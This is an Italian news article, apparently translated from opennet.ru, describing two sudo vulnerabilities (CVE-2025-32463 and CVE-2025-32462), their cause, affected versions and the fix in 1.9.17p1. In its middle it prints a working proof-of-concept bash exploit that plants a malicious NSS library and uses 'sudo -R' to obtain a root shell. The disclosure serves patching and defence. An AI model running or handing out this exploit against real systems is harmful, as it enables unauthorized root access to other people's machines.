Vulnerabilità nella utility sudo che consentono di ottenere privilegi di root nel sistema

È stata individuata una vulnerabilità nel pacchetto sudo, utilizzato per eseguire comandi a nome di altri utenti (CVE-2025-32463), che consente a qualsiasi utente non privilegiato di eseguire codice con diritti di root, anche se l'utente non è menzionato nella configurazione sudoers. Sono vulnerabili le distribuzioni che utilizzano il file di configurazione /etc/nsswitch.conf, ad esempio, la possibilità di sfruttare la vulnerabilità è stata dimostrata in Ubuntu 24.04 e Fedora 41.

La vulnerabilità si manifesta nella configurazione predefinita ed è confermata nelle versioni di sudo da 1.9.14 a 1.9.17 (potenzialmente colpisce tutte le versioni a partire da 1.8.33). Il problema è stato risolto nell'aggiornamento di sudo 1.9.17p1. È possibile controllare lo stato della nuova versione del pacchetto o la preparazione di una correzione nelle distribuzioni sulle seguenti pagine (se la pagina non è disponibile, significa che gli sviluppatori della distribuzione non hanno ancora iniziato a considerare il problema): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo e Arch (1, 2).

Il problema è causato dal fatto che quando si utilizza l'opzione «-R» («--chroot») per eseguire comandi in un ambiente chroot con l'utente selezionato come directory radice, il file /etc/nsswitch.conf veniva caricato nel contesto della nuova directory radice anziché nella directory di sistema. Poiché l'utente può utilizzare la propria directory come directory radice per chroot, può posizionare al suo interno il file di configurazione nsswitch.conf. Controllando il file /etc/nsswitch.conf caricato dal sottosistema NSS (Name Service Switch), l'utente può aggiungere impostazioni che portano all'attivazione di ulteriori gestori. Tali gestori vengono caricati da NSS sotto forma di librerie condivise, che possono anch'esse essere posizionate nella directory controllata dall'utente. Sostituendo la propria libreria, l'utente può ottenere l'esecuzione di codice con diritti di root, poiché la gestione di NSS avviene prima del ripristino dei privilegi.

Esempio di exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

Nella versione sudo 1.9.17p1 è stata inoltre risolta un'altra vulnerabilità (CVE-2025-32462) che consente di eseguire comandi con diritti di root, ma si manifesta solo nelle configurazioni sudoers dove il parametro «host» è impostato su un valore diverso da ALL o dal nome dell'host corrente. La vulnerabilità è causata da un errore che fa sì che l'opzione «-h» («--host») funzionasse non solo in combinazione con l'opzione «-l» («--list») per visualizzare le autorizzazioni collegate all'host, ma anche durante l'esecuzione dei comandi. Pertanto, l'utente poteva specificare qualsiasi host durante la chiamata a sudo, aggirando le limitazioni delle regole sudoers legate al nome dell'host.

Per eseguire l'attacco, l'utente deve essere menzionato nel file sudoers, ad esempio, se nelle impostazioni è specificato «testuser testhost = ALL», l'utente «testuser» poteva specificare «sudo -h testhost» e avviare comandi con diritti di root su qualsiasi host, e non solo su testhost. Le vulnerabilità non colpiscono le configurazioni con impostazioni del tipo «testuser ALL = ALL» o senza regole esplicite per l'utente specifico.

Fonte: opennet.ru

Acquista un hosting affidabile per siti con protezione DDoS, server VPS VDS 🔥 Acquista un hosting affidabile per siti con protezione DDoS, server VPS VDS | ProHoster